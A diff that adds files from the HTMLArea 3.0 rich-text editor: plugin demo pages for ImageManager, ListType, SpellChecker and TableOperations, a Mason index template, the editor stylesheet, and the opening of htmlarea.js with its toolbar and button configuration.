+<pre class="code"><span class="function-name">&lt;</span><span class="html-tag">div</span> <span class="variable-name">id=</span><span class="string">&quot;conttoc&quot;</span><span class="paren-face-match">&gt;</span><span class="function-name">&lt;</span><span class="html-tag">/div</span><span class="function-name">&gt;</span></pre>
+
+<p>and our function checks for the presence an element having the ID
+"conttoc", and generates a table of contents into it. Our code will also
+check if the "conttoc" element's first child is a comment node, and if so
+will parse additional parameters from there, for instance, a desired prefix
+for the links that are to be generated into it. Why did I need it? Because
+if the page uses a <code>&lt;base&gt;</code> element to specify the default
+link prefix, then links like "#gen1" generated by the <a href="toc.epl">toc
+generator</a> will not point to that same page as they should, but to the
+page reffered from <code>&lt;base&gt;</code>.</p>
+
+<p>So the HTML would now look like this:</p>
+
+<pre class="code"><span class="function-name">&lt;</span><span class="html-tag">div</span> <span class="variable-name">id=</span><span class="string">&quot;conttoc&quot;</span><span class="function-name">&gt;</span><span class="comment">&lt;!-- base:link/prefix.html --&gt;</span><span class="paren-face-match">&lt;</span><span class="html-tag">/div</span><span class="paren-face-match">&gt;</span></pre>
+
+<p>And our TOC generation function does something like this:</p>
+
+<pre class="code"><span class="keyword">var</span> <span class="variable-name">element</span> = getElementById(&quot;<span class="string">conttoc</span>&quot;);
+<span class="keyword">if</span> (element.firstChild &amp;&amp; element.firstChild.nodeType == 8) {
+ <span class="comment">// 8 means Node.COMMENT_NODE. We're using numeric values
+</span> <span class="comment">// because IE6 does not support constant names.
+</span> <span class="keyword">var</span> <span class="variable-name">parameters</span> = element.firstChild.data;
+ <span class="comment">// at this point &quot;parameters&quot; contains base:link/prefix.html
+</span> <span class="comment">// ...
+</span>}</pre>
+
+<p>So we retrieved the value passed to the script from the HTML code. This
+was the goal of this article.</p>
+
+<hr />
+<address><a href="http://students.infoiasi.ro/~mishoo/">Mihai Bazon</a></address>
+<!-- hhmts start --> Last modified on Thu Apr 3 20:34:17 2003
+<!-- hhmts end -->
+<!-- doc-lang: English -->
+</body>
+</html>
+</textarea>
+
+<p />
+
+<input type="submit" name="ok" value=" submit " />
+<input type="button" name="ins" value=" insert html " onclick="return insertHTML();" />
+<input type="button" name="hil" value=" highlight text " onclick="return highlight();" />
+
+<a href="javascript:mySubmit()">submit</a>
+
+<script type="text/javascript">
+function mySubmit() {
+// document.edit.save.value = "yes";
+document.edit.onsubmit(); // workaround browser bugs.
+document.edit.submit();
+};
+</script>
+
+</form>
+
+</body>
+</html>
--- /dev/null
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+ "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+ <head>
+ <title>Test of Image Manager plugin</title>
+ <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+ <style type="text/css">
+ /*<![CDATA[*/
+ <!--
+ .textarea { height: 30em; width: 80%; }
+ -->
+ /*]]>*/
+ </style>
+ <script type="text/javascript">
+ //<![CDATA[
+ _editor_url = "../";
+ _editor_lang = "en";
+ //]]>
+ </script><!-- load the main HTMLArea file -->
+ <script type="text/javascript" src="../htmlarea.js">
+ </script>
+ <script type="text/javascript">
+ //<![CDATA[
+
+ HTMLArea.loadPlugin("ImageManager");
+ HTMLArea.loadPlugin("CSS");
+ HTMLArea.loadPlugin("ContextMenu");
+ initdocument = function () {
+ var editor = new HTMLArea("editor");
+
+ // add a contextual menu
+ editor.registerPlugin("ContextMenu");
+
+ // load the stylesheet used by our CSS plugin configuration
+ editor.config.pageStyle = "@import url(http://devsys/www.dioceseofgaylord.com/diocese.css);";
+
+ editor.generate();
+ }
+ function addEvent(obj, evType, fn)
+ {
+ if (obj.addEventListener) { obj.addEventListener(evType, fn, true); return true; }
+ else if (obj.attachEvent) { var r = obj.attachEvent("on"+evType, fn); return r; }
+ else { return false; }
+ }
+ addEvent(window, 'load', initdocument);
+ //]]>
+ </script>
+ </head>
+ <body>
+ <h1>HTMLArea 3 RC1 + Image Manager + Image Editor</h1>
+ <p>PHP Image Manager, Image Editor for HTMLArea. Requires PHP, GD or NetPBM or
+ ImageMagick.</p>
+ <ul>
+ <li>Auto cache thumbnails (JPEG, PNG, GIF depending on GD).</li>
+ <li>Filmstrip view.</li>
+ <li>Online Image Editor.</li>
+ <li>Create folders (if permitting).</li>
+ <li>Editor - Resize, Crop, Rotate, Save as.</li>
+ </ul>
+ <div><textarea id="editor" class="textarea" rows="10" cols="40"></textarea></div>
+ <hr />
+ <address>
+ <a href="http://www.zhuo.org/htmlarea/" title="Home of the ImageManger+Editor">Xiang Wei Zhuo</a>
+ </address>
+ </body>
+</html>
--- /dev/null
+<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">
+<html> <head>
+<title>HTMLArea examples index</title>
+</head>
+
+<body>
+<h1>HTMLArea: auto-generated examples index</h1>
+
+<ul>
+% while (<*.html>) {
+% next if /^index.html$/;
+ <li>
+ <a href="<% $_ %>"><% $_ %></a>
+ </li>
+% }
+</ul>
+
+<hr />
+<address>mishoo@infoiasi.ro</address>
+<!-- hhmts start --> Last modified: Sun Feb 1 13:30:39 EET 2004 <!-- hhmts end -->
+</body> </html>
+
+<%INIT>
+my $dir = $m->interp->comp_root;
+$dir =~ s{/+$}{}g;
+#$dir =~ s{/[^/]+$}{}g;
+$dir .= $m->current_comp->dir_path;
+chdir $dir;
+</%INIT>
--- /dev/null
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+<title>Example of HTMLArea 3.0 -- ListType plugin</title>
+
+<script type="text/javascript">
+ _editor_lang = "en";
+ _editor_url = "../";
+</script>
+
+<!-- load the main HTMLArea files -->
+<script type="text/javascript" src="../htmlarea.js"></script>
+
+<style type="text/css">
+html, body {
+ font-family: Verdana,sans-serif;
+ background-color: #fea;
+ color: #000;
+}
+a:link, a:visited { color: #00f; }
+a:hover { color: #048; }
+a:active { color: #f00; }
+
+textarea { background-color: #fff; border: 1px solid 00f; }
+</style>
+
+<script type="text/javascript">
+// load the plugin files
+HTMLArea.loadPlugin("ListType");
+var editor = null;
+function initEditor() {
+ editor = new HTMLArea("ta");
+ editor.registerPlugin(ListType);
+ editor.generate();
+ return false;
+}
+</script>
+
+</head>
+
+<body onload="initEditor()">
+
+<h1>HTMLArea :: the ListType plugin</h1>
+
+<form action="test.cgi" method="post" id="edit" name="edit">
+
+<textarea id="ta" name="ta" style="width:100%" rows="24" cols="80">
+
+<p>List style type is selected using the CSS property
+"list-style-type". Hopefully it will work with Internet Explorer,
+right? ;-) Let's start the monster to test it out.<br /></p><p>Cool, it
+works. Except for "lower-greek", which doesn't seem to be
+supported (and worse, a gross error message is displayed). Therefore, I
+hide that proerty from IE--it will only be available if the browser is not
+IE.<br /></p><ol style="list-style-type: decimal;"><li>This is a list<br
+/></li><li>with decimal numbers<br /></li><li>blah blah<br /></li><li>dolor
+sic amet<br /></li></ol><ol style="list-style-type: lower-greek;"><li>yet
+another</li><li>list with greek<br /></li><li>letters<br /></li><li>lorem
+ipsum<br /></li><li>yada yada<br /></li></ol>
+
+</textarea>
+
+</form>
+
+</body>
+</html>
--- /dev/null
+<files>
+ <file name="*.{js,html,css,cgi}" />
+ <file name="index.html" masonize="yes" />
+</files>
--- /dev/null
+<html>
+<head>
+<title>Example of HTMLArea 3.0</title>
+
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+
+<!-- Configure the path to the editor. We make it relative now, so that the
+ example ZIP file will work anywhere, but please NOTE THAT it's better to
+ have it an absolute path, such as '/htmlarea/'. -->
+<script type="text/javascript">
+ _editor_lang = "en";
+ _editor_url = "../";
+</script>
+<!-- load the main HTMLArea files -->
+<script type="text/javascript" src="../htmlarea.js"></script>
+
+<style type="text/css">
+html, body {
+ font-family: Verdana,sans-serif;
+ background-color: #fea;
+ color: #000;
+}
+a:link, a:visited { color: #00f; }
+a:hover { color: #048; }
+a:active { color: #f00; }
+
+textarea { background-color: #fff; border: 1px solid 00f; }
+</style>
+
+<script type="text/javascript">
+HTMLArea.loadPlugin("SpellChecker");
+var editor = null;
+function initEditor() {
+ // create an editor for the "ta" textbox
+ editor = new HTMLArea("ta");
+
+ // register the SpellChecker plugin
+ editor.registerPlugin(SpellChecker);
+
+ editor.generate();
+ return false;
+}
+
+function insertHTML() {
+ var html = prompt("Enter some HTML code here");
+ if (html) {
+ editor.insertHTML(html);
+ }
+}
+function highlight() {
+ editor.surroundHTML('<span style="background-color: yellow">', '</span>');
+}
+</script>
+
+</head>
+
+<!-- use <body onload="HTMLArea.replaceAll()" if you don't care about
+ customizing the editor. It's the easiest way! :) -->
+<body onload="initEditor()">
+
+<h1>HTMLArea 3.0</h1>
+
+<p>A replacement for <code>TEXTAREA</code> elements. © <a
+href="http://interactivetools.com">InteractiveTools.com</a>, 2003-2004.</p>
+
+<p>Plugins:
+ <tt>SpellChecker</tt> (sponsored by <a
+ href="http://americanbible.org">American Bible Society</a>).
+</p>
+
+<form action="test.cgi" method="post" id="edit" name="edit">
+
+<textarea id="ta" name="ta" style="width:100%" rows="24" cols="80">
+
+<h1>The <tt>SpellChecker</tt> plugin</h1>
+
+ <p>This file deminstrates the <tt>SpellChecker</tt> plugin of
+ HTMLArea. To inwoke the spell checkert you need to press the
+ <em>spell-check</em> buton in the toolbar.</p>
+
+ <p>The spell-checker uses a serverside script written in Perl. The
+ Perl script calls <a href="http://aspell.net">aspell</a> for any
+ word in the text and reports wordz that aren't found in the
+ dyctionari.</p>
+
+ <p>The document that yu are reading now <b>intentionaly</b> containes
+ some errorz, so that you have something to corect ;-)</p>
+
+ <p>Credits for the <tt>SpellChecker</tt> plugin go to:</p>
+
+ <ul>
+
+ <li><a href="http://aspell.net">Aspell</a> -- spell
+ checker</li>
+
+ <li>The <a href="http://perl.org">Perl</a> programming language</li>
+
+ <li><tt><a
+ href="http://cpan.org/modules/by-module/Text/Text-Aspell-0.02.readme">Text::Aspell</a></tt>
+ -- Perl interface to Aspell</li>
+
+ <li><a href="http://americanbible.org">American Bible Society</a> --
+ for sponsoring the <tt>SpellChecker</tt> plugin for
+ <tt>HTMLArea</tt></li>
+
+ <li><a href="http://dynarch.com/mishoo/">Your humble servant</a> for
+ implementing it ;-)</li>
+
+ </ul>
+
+</textarea>
+
+<p />
+
+<input type="submit" name="ok" value=" submit " />
+<input type="button" name="ins" value=" insert html " onclick="return insertHTML();" />
+<input type="button" name="hil" value=" highlight text " onclick="return highlight();" />
+
+<a href="javascript:mySubmit()">submit</a>
+
+<script type="text/javascript">
+function mySubmit() {
+// document.edit.save.value = "yes";
+document.edit.onsubmit(); // workaround browser bugs.
+document.edit.submit();
+};
+</script>
+
+</form>
+
+</body>
+</html>
--- /dev/null
+<html>
+<head>
+<title>Example of HTMLArea 3.0</title>
+
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+
+<!-- Configure the path to the editor. We make it relative now, so that the
+ example ZIP file will work anywhere, but please NOTE THAT it's better to
+ have it an absolute path, such as '/htmlarea/'. -->
+<script type="text/javascript">
+ _editor_lang = "en";
+ _editor_url = "../";
+</script>
+<!-- load the main HTMLArea files -->
+<script type="text/javascript" src="../htmlarea.js"></script>
+
+<style type="text/css">
+html, body {
+ font-family: Verdana,sans-serif;
+ background-color: #fea;
+ color: #000;
+}
+a:link, a:visited { color: #00f; }
+a:hover { color: #048; }
+a:active { color: #f00; }
+
+textarea { background-color: #fff; border: 1px solid 00f; }
+</style>
+
+<script type="text/javascript">
+// load the plugin files
+HTMLArea.loadPlugin("TableOperations");
+
+var editor = null;
+function initEditor() {
+ // create an editor for the "ta" textbox
+ editor = new HTMLArea("ta");
+
+ // register the TableOperations plugin with our editor
+ editor.registerPlugin(TableOperations);
+
+ editor.generate();
+ return false;
+}
+
+function insertHTML() {
+ var html = prompt("Enter some HTML code here");
+ if (html) {
+ editor.insertHTML(html);
+ }
+}
+function highlight() {
+ editor.surroundHTML('<span style="background-color: yellow">', '</span>');
+}
+</script>
+
+</head>
+
+<!-- use <body onload="HTMLArea.replaceAll()" if you don't care about
+ customizing the editor. It's the easiest way! :) -->
+<body onload="initEditor()">
+
+<h1>HTMLArea 3.0</h1>
+
+<p>A replacement for <code>TEXTAREA</code> elements. © <a
+href="http://interactivetools.com">InteractiveTools.com</a>, 2003-2004.</p>
+
+<p>Page that demonstrates the additional features of the
+<tt>TableOperations</tt> plugin (sponsored by <a
+href="http://www.bloki.com">Zapatec Inc.</a>).</p>
+
+<form action="test.cgi" method="post" id="edit" name="edit">
+
+<textarea id="ta" name="ta" style="width:100%" rows="24" cols="80">
+
+<h1>Plugin: <tt>TableOperations</tt></h1>
+
+<p>This page exemplifies the table operations toolbar, provided by the
+TableOperations plugin.</p>
+
+<p>Following there is a table.</p>
+
+<table border="1" style="border: 2px solid rgb(255, 0, 0); width: 80%; background-image: none; border-collapse: collapse; color: rgb(153, 102, 0); background-color: rgb(255, 255, 51);" align="center" cellspacing="2" cellpadding="1" summary="">
+ <caption>This <span style="font-weight: bold;">is</span> a table</caption>
+ <tbody>
+ <tr style="border-style: none; background-image: none; background-color: rgb(255, 255, 153);" char="." align="left" valign="middle"> <td>1.1</td> <td>1.2</td> <td>1.3</td> <td>1.4</td> </tr>
+ <tr> <td>2.1</td> <td style="border: 1px solid rgb(51, 51, 255); background-image: none; background-color: rgb(102, 255, 255); color: rgb(0, 0, 51);" char="." align="left" valign="middle">2.2</td> <td>2.3</td> <td>2.4</td> </tr>
+ <tr> <td>3.1</td> <td>3.2</td> <td style="border: 2px dashed rgb(51, 204, 102); background-image: none; background-color: rgb(102, 255, 153); color: rgb(0, 51, 0);" char="." align="left" valign="middle">3.3</td> <td>3.4</td> </tr>
+ <tr> <td style="background-color: rgb(255, 204, 51);">4.1</td> <td style="background-color: rgb(255, 204, 51);">4.2</td> <td style="background-color: rgb(255, 204, 51);">4.3</td> <td style="background-color: rgb(255, 204, 51);">4.4</td> </tr>
+ </tbody>
+</table>
+
+<p>Text after the table</p>
+
+</textarea>
+
+<p />
+
+<input type="submit" name="ok" value=" submit " />
+<input type="button" name="ins" value=" insert html " onclick="return insertHTML();" />
+<input type="button" name="hil" value=" highlight text " onclick="return highlight();" />
+
+<a href="javascript:mySubmit()">submit</a>
+
+<script type="text/javascript">
+function mySubmit() {
+// document.edit.save.value = "yes";
+document.edit.onsubmit(); // workaround browser bugs.
+document.edit.submit();
+};
+</script>
+
+</form>
+
+</body>
+</html>
--- /dev/null
+.htmlarea { background: #fff; }
+
+.htmlarea .toolbar {
+ cursor: default;
+ background: ButtonFace;
+ padding: 1px 1px 2px 1px;
+ border: 1px solid;
+ border-color: ButtonHighlight ButtonShadow ButtonShadow ButtonHighlight;
+}
+.htmlarea .toolbar table { font-family: tahoma,verdana,sans-serif; font-size: 11px; }
+.htmlarea .toolbar img { border: none; }
+.htmlarea .toolbar .label { padding: 0px 3px; }
+
+div.backtotop {font-size:11px;text-align:center; clear:both;}
+.htmlarea .toolbar .button {
+ background: ButtonFace;
+ color: ButtonText;
+ border: 1px solid ButtonFace;
+ padding: 1px;
+ margin: 0px;
+ width: 18px;
+ height: 18px;
+}
+.htmlarea .toolbar .buttonHover {
+ border: 1px solid;
+ border-color: ButtonHighlight ButtonShadow ButtonShadow ButtonHighlight;
+}
+.htmlarea .toolbar .buttonActive, .htmlarea .toolbar .buttonPressed {
+ padding: 2px 0px 0px 2px;
+ border: 1px solid;
+ border-color: ButtonShadow ButtonHighlight ButtonHighlight ButtonShadow;
+}
+.htmlarea .toolbar .buttonPressed {
+ background: ButtonHighlight;
+}
+.htmlarea .toolbar .indicator {
+ padding: 0px 3px;
+ overflow: hidden;
+ width: 20px;
+ text-align: center;
+ cursor: default;
+ border: 1px solid ButtonShadow;
+}
+
+.htmlarea .toolbar .buttonDisabled img {
+ filter: alpha(opacity = 25);
+ -moz-opacity: 0.25;
+}
+
+.htmlarea .toolbar .separator {
+ position: relative;
+ margin: 3px;
+ border-left: 1px solid ButtonShadow;
+ border-right: 1px solid ButtonHighlight;
+ width: 0px;
+ height: 16px;
+ padding: 0px;
+}
+
+.htmlarea .toolbar .space { width: 5px; }
+
+.htmlarea .toolbar select { font: 11px Tahoma,Verdana,sans-serif; }
+
+.htmlarea .toolbar select,
+.htmlarea .toolbar select:hover,
+.htmlarea .toolbar select:active { background: FieldFace; color: ButtonText; }
+
+.htmlarea .statusBar {
+ border: 1px solid;
+ border-color: ButtonShadow ButtonHighlight ButtonHighlight ButtonShadow;
+ padding: 2px 4px;
+ background-color: ButtonFace;
+ color: ButtonText;
+ font: 11px Tahoma,Verdana,sans-serif;
+}
+
+.htmlarea .statusBar .statusBarTree a {
+ padding: 2px 5px;
+ color: #00f;
+}
+
+.htmlarea .statusBar .statusBarTree a:visited { color: #00f; }
+.htmlarea .statusBar .statusBarTree a:hover {
+ background-color: Highlight;
+ color: HighlightText;
+ padding: 1px 4px;
+ border: 1px solid HighlightText;
+}
+
+
+/* Hidden DIV popup dialogs (PopupDiv) */
+
+.dialog {
+ color: ButtonText;
+ background: ButtonFace;
+}
+
+.dialog .content { padding: 2px; }
+
+.dialog, .dialog button, .dialog input, .dialog select, .dialog textarea, .dialog table {
+ font: 11px Tahoma,Verdana,sans-serif;
+}
+
+.dialog table { border-collapse: collapse; }
+
+.dialog .title {
+ background: #008;
+ color: #ff8;
+ border-bottom: 1px solid #000;
+ padding: 1px 0px 2px 5px;
+ font-size: 12px;
+ font-weight: bold;
+ cursor: default;
+}
+
+.dialog .title .button {
+ float: right;
+ border: 1px solid #66a;
+ padding: 0px 1px 0px 2px;
+ margin-right: 1px;
+ color: #fff;
+ text-align: center;
+}
+
+.dialog .title .button-hilite { border-color: #88f; background: #44c; }
+
+.dialog button {
+ width: 5em;
+ padding: 0px;
+}
+
+.dialog .buttonColor {
+ padding: 1px;
+ cursor: default;
+ border: 1px solid;
+ border-color: ButtonHighlight ButtonShadow ButtonShadow ButtonHighlight;
+}
+
+.dialog .buttonColor-hilite {
+ border-color: #000;
+}
+
+.dialog .buttonColor .chooser, .dialog .buttonColor .nocolor {
+ height: 0.6em;
+ border: 1px solid;
+ padding: 0px 1em;
+ border-color: ButtonShadow ButtonHighlight ButtonHighlight ButtonShadow;
+}
+
+.dialog .buttonColor .nocolor { padding: 0px; }
+.dialog .buttonColor .nocolor-hilite { background-color: #fff; color: #f00; }
+
+.dialog .label { text-align: right; width: 6em; }
+.dialog .value input { width: 100%; }
+.dialog .buttons { text-align: right; padding: 2px 4px 0px 4px; }
+
+.dialog legend { font-weight: bold; }
+.dialog fieldset table { margin: 2px 0px; }
+
+.popupdiv {
+ border: 2px solid;
+ border-color: ButtonHighlight ButtonShadow ButtonShadow ButtonHighlight;
+}
+
+.popupwin {
+ padding: 0px;
+ margin: 0px;
+}
+
+.popupwin .title {
+ background: #fff;
+ color: #000;
+ font-weight: bold;
+ font-size: 120%;
+ padding: 3px 10px;
+ margin-bottom: 10px;
+ border-bottom: 1px solid black;
+ letter-spacing: 2px;
+}
+
+form { margin: 0px; border: none; }
--- /dev/null
+// htmlArea v3.0 - Copyright (c) 2002-2004 interactivetools.com, inc.
+// This copyright notice MUST stay intact for use (see license.txt).
+//
+// Portions (c) dynarch.com, 2003-2004
+//
+// A free WYSIWYG editor replacement for <textarea> fields.
+// For full source code and docs, visit http://www.interactivetools.com/
+//
+// Version 3.0 developed by Mihai Bazon.
+// http://dynarch.com/mishoo
+//
+// $Id: htmlarea.js,v 1.1.1.1 2006/05/01 16:46:13 cscott Exp $
+
+if (typeof _editor_url == "string") {
+ // Leave exactly one backslash at the end of _editor_url
+ _editor_url = _editor_url.replace(/\x2f*$/, '/');
+} else {
+ alert("WARNING: _editor_url is not set! You should set this variable to the editor files path; it should preferably be an absolute path, like in '/htmlarea/', but it can be relative if you prefer. Further we will try to load the editor files correctly but we'll probably fail.");
+ _editor_url = '';
+}
+
+// make sure we have a language
+if (typeof _editor_lang == "string") {
+ _editor_lang = _editor_lang.toLowerCase();
+} else {
+ _editor_lang = "en";
+}
+
+// Creates a new HTMLArea object. Tries to replace the textarea with the given
+// ID with it.
+function HTMLArea(textarea, config) {
+ if (HTMLArea.checkSupportedBrowser()) {
+ if (typeof config == "undefined") {
+ this.config = new HTMLArea.Config();
+ } else {
+ this.config = config;
+ }
+ this._htmlArea = null;
+ this._textArea = textarea;
+ this._editMode = "wysiwyg";
+ this.plugins = {};
+ this._timerToolbar = null;
+ this._timerUndo = null;
+ this._undoQueue = new Array(this.config.undoSteps);
+ this._undoPos = -1;
+ this._customUndo = false;
+ this._mdoc = document; // cache the document, we need it in plugins
+ this.doctype = '';
+ }
+};
+
+// load some scripts
+(function() {
+ var scripts = HTMLArea._scripts = [ _editor_url + "htmlarea.js",
+ _editor_url + "dialog.js",
+ _editor_url + "popupwin.js",
+ _editor_url + "lang/" + _editor_lang + ".js" ];
+ var head = document.getElementsByTagName("head")[0];
+ // start from 1, htmlarea.js is already loaded
+ for (var i = 1; i < scripts.length; ++i) {
+ var script = document.createElement("script");
+ script.src = scripts[i];
+ head.appendChild(script);
+ }
+})();
+
+// cache some regexps
+HTMLArea.RE_tagName = /(<\/|<)\s*([^ \t\n>]+)/ig;
+HTMLArea.RE_doctype = /(<!doctype((.|\n)*?)>)\n?/i;
+HTMLArea.RE_head = /<head>((.|\n)*?)<\/head>/i;
+HTMLArea.RE_body = /<body>((.|\n)*?)<\/body>/i;
+
+HTMLArea.Config = function () {
+ this.version = "3.0";
+
+ this.width = "500";
+ this.height = "300";
+
+ // enable creation of a status bar?
+ this.statusBar = false;
+
+ // maximum size of the undo queue
+ this.undoSteps = 20;
+
+ // the time interval at which undo samples are taken
+ this.undoTimeout = 500; // 1/2 sec.
+
+ // the next parameter specifies whether the toolbar should be included
+ // in the size or not.
+ this.sizeIncludesToolbar = true;
+
+ // if true then HTMLArea will retrieve the full HTML, starting with the
+ // <HTML> tag.
+ this.fullPage = false;
+
+ // style included in the iframe document
+ this.pageStyle = "";
+
+ // set to true if you want Word code to be cleaned upon Paste
+ this.killWordOnPaste = true;
+
+ // BaseURL included in the iframe document
+ this.baseURL = document.baseURI || document.URL;
+ if (this.baseURL && this.baseURL.match(/(.*)\/([^\/]+)/))
+ this.baseURL = RegExp.$1 + "/";
+
+ // URL-s
+ this.imgURL = "images/";
+ this.popupURL = "popups/";
+
+ /** CUSTOMIZING THE TOOLBAR
+ * -------------------------
+ *
+ * It is recommended that you customize the toolbar contents in an
+ * external file (i.e. the one calling HTMLArea) and leave this one
+ * unchanged. That's because when we (InteractiveTools.com) release a
+ * new official version, it's less likely that you will have problems
+ * upgrading HTMLArea.
+ */
+ this.toolbar = [
+ [ "fontname", "space",
+ "fontsize", "space",
+ "formatblock", "space",
+ "bold", "italic", "underline", "separator",
+ "subscript", "superscript", "separator","backtotop" ],
+
+ [ "justifyleft", "justifycenter", "justifyright", "justifyfull", "separator",
+ "orderedlist", "unorderedlist", "outdent", "indent", "separator",
+ "forecolor", "separator",
+ "inserthorizontalrule", "createlink", "insertimage","inserttable", "htmlmode", "separator",
+ "copy", "cut", "paste", "space", "undo", "redo" ]
+ ];
+
+ this.fontname = {
+ "Arial": 'arial,helvetica,sans-serif',
+ "Courier New": 'courier new,courier,monospace',
+ "Georgia": 'georgia,times new roman,times,serif',
+ "Tahoma": 'tahoma,arial,helvetica,sans-serif',
+ "Times New Roman": 'times new roman,times,serif',
+ "Verdana": 'verdana,arial,helvetica,sans-serif',
+ "impact": 'impact',
+ "WingDings": 'wingdings'
+ };
+
+ this.fontsize = {
+ "1 (8 pt)": "1",
+ "2 (10 pt)": "2",
+ "3 (12 pt)": "3",
+ "4 (14 pt)": "4",
+ "5 (18 pt)": "5",
+ "6 (24 pt)": "6",
+ "7 (36 pt)": "7"
+ };
+
+ this.formatblock = {
+ "Heading 1": "h1",
+ "Heading 2": "h2",
+ "Heading 3": "h3",
+ "Heading 4": "h4",
+ "Heading 5": "h5",
+ "Heading 6": "h6",
+ "Normal": "p",
+ "Address": "address",
+ "Formatted": "pre"
+ };
+
+ this.customSelects = {};
+
+ function cut_copy_paste(e, cmd, obj) {
+ e.execCommand(cmd);
+ };
+
+ // ADDING CUSTOM BUTTONS: please read below!
+ // format of the btnList elements is "ID: [ ToolTip, Icon, Enabled in text mode?, ACTION ]"
+ // - ID: unique ID for the button. If the button calls document.execCommand
+ // it's wise to give it the same name as the called command.
+ // - ACTION: function that gets called when the button is clicked.
+ // it has the following prototype:
+ // function(editor, buttonName)
+ // - editor is the HTMLArea object that triggered the call
+ // - buttonName is the ID of the clicked button
+ // These 2 parameters makes it possible for you to use the same
+ // handler for more HTMLArea objects or for more different buttons.
+ // - ToolTip: default tooltip, for cases when it is not defined in the -lang- file (HTMLArea.I18N)
+ // - Icon: path to an icon image file for the button (TODO: use one image for all buttons!)
+ // - Enabled in text mode: if false the button gets disabled for text-only mode; otherwise enabled all the time.
+ this.btnList = {
+ bold: [ "Bold", "ed_format_bold.gif", false, function(e) {e.execCommand("bold");} ],
+ italic: [ "Italic", "ed_format_italic.gif", false, function(e) {e.execCommand("italic");} ],
+ underline: [ "Underline", "ed_format_underline.gif", false, function(e) {e.execCommand("underline");} ],
+ strikethrough: [ "Strikethrough", "ed_format_strike.gif", false, function(e) {e.execCommand("strikethrough");} ],
+ subscript: [ "Subscript", "ed_format_sub.gif", false, function(e) {e.execCommand("subscript");} ],
+ superscript: [ "Superscript", "ed_format_sup.gif", false, function(e) {e.execCommand("superscript");} ],
+ justifyleft: [ "Justify Left", "ed_align_left.gif", false, function(e) {e.execCommand("justifyleft");} ],
+ justifycenter: [ "Justify Center", "ed_align_center.gif", false, function(e) {e.execCommand("justifycenter");} ],
+ justifyright: [ "Justify Right", "ed_align_right.gif", false, function(e) {e.execCommand("justifyright");} ],
+ justifyfull: [ "Justify Full", "ed_align_justify.gif", false, function(e) {e.execCommand("justifyfull");} ],
+ orderedlist: [ "Ordered List", "ed_list_num.gif", false, function(e) {e.execCommand("insertorderedlist");} ],
+ unorderedlist: [ "Bulleted List", "ed_list_bullet.gif", false, function(e) {e.execCommand("insertunorderedlist");} ],
+ outdent: [ "Decrease Indent", "ed_indent_less.gif", false, function(e) {e.execCommand("outdent");} ],
+ indent: [ "Increase Indent", "ed_indent_more.gif", false, function(e) {e.execCommand("indent");} ],
+ forecolor: [ "Font Color", "ed_color_fg.gif", false, function(e) {e.execCommand("forecolor");} ],
+ hilitecolor: [ "Background Color", "ed_color_bg.gif", false, function(e) {e.execCommand("hilitecolor");} ],
+ inserthorizontalrule: [ "Horizontal Rule", "ed_hr.gif", false, function(e) {e.execCommand("inserthorizontalrule");} ],
+ createlink: [ "Insert Web Link", "ed_link.gif", false, function(e) {e.execCommand("createlink", true);} ],
+ insertimage: [ "Insert/Modify Image", "ed_image.gif", false, function(e) {e.execCommand("insertimage");} ],
+ inserttable: [ "Insert Table", "insert_table.gif", false, function(e) {e.execCommand("inserttable");} ],
+ htmlmode: [ "Toggle HTML Source", "ed_html.gif", true, function(e) {e.execCommand("htmlmode");} ],
+ popupeditor: [ "Enlarge Editor", "fullscreen_maximize.gif", true, function(e) {e.execCommand("popupeditor");} ],
+ about: [ "About this editor", "ed_about.gif", true, function(e) {e.execCommand("about");} ],
+ showhelp: [ "Help using editor", "ed_help.gif", true, function(e) {e.execCommand("showhelp");} ],
+ undo: [ "Undoes your last action", "ed_undo.gif", false, function(e) {e.execCommand("undo");} ],
+ redo: [ "Redoes your last action", "ed_redo.gif", false, function(e) {e.execCommand("redo");} ],
+ cut: [ "Cut selection", "ed_cut.gif", false, cut_copy_paste ],
+ copy: [ "Copy selection", "ed_copy.gif", false, cut_copy_paste ],
+ paste: [ "Paste from clipboard", "ed_paste.gif", false, cut_copy_paste ],
+ lefttoright: [ "Direction left to right", "ed_left_to_right.gif", false, function(e) {e.execCommand("lefttoright");} ],
+ righttoleft: [ "Direction right to left", "ed_right_to_left.gif", false, function(e) {e.execCommand("righttoleft");} ]
+ };
+ /* ADDING CUSTOM BUTTONS
+ * ---------------------
+ *
+ * It is recommended that you add the custom buttons in an external
+ * file and leave this one unchanged. That's because when we
+ * (InteractiveTools.com) release a new official version, it's less
+ * likely that you will have problems upgrading HTMLArea.
+ *
+ * Example on how to add a custom button when you construct the HTMLArea:
+ *
+ * var editor = new HTMLArea("your_text_area_id");
+ * var cfg = editor.config; // this is the default configuration
+ * cfg.btnList["my-hilite"] =
+ * [ function(editor) { editor.surroundHTML('<span style="background:yellow">', '</span>'); }, // action
+ * "Highlight selection", // tooltip
+ * "my_hilite.gif", // image
+ * false // disabled in text mode
+ * ];
+ * cfg.toolbar.push(["linebreak", "my-hilite"]); // add the new button to the toolbar
+ *
+ * An alternate (also more convenient and recommended) way to
+ * accomplish this is to use the registerButton function below.
+ */
+ // initialize tooltips from the I18N module and generate correct image path
+ for (var i in this.btnList) {
+ var btn = this.btnList[i];
+ btn[1] = _editor_url + this.imgURL + btn[1];
+ if (typeof HTMLArea.I18N.tooltips[i] != "undefined") {
+ btn[0] = HTMLArea.I18N.tooltips[i];
+ }
+ }
+};
+
+/** Helper function: register a new button with the configuration. It can be
+ * called with all 5 arguments, or with only one (first one). When called with
+ * only one argument it must be an object with the following properties: id,
+ * tooltip, image, textMode, action. Examples:
+ *
+ * 1. config.registerButton("my-hilite", "Hilite text", "my-hilite.gif", false, function(editor) {...});
+ * 2. config.registerButton({
+ * id : "my-hilite", // the ID of your button
+ * tooltip : "Hilite text", // the tooltip
+ * image : "my-hilite.gif", // image to be displayed in the toolbar
+ * textMode : false, // disabled in text mode
+ * action : function(editor) { // called when the button is clicked
+ * editor.surroundHTML('<span class="hilite">', '</span>');
+ * },
+ * context : "p" // will be disabled if outside a <p> element
+ * });
+ */
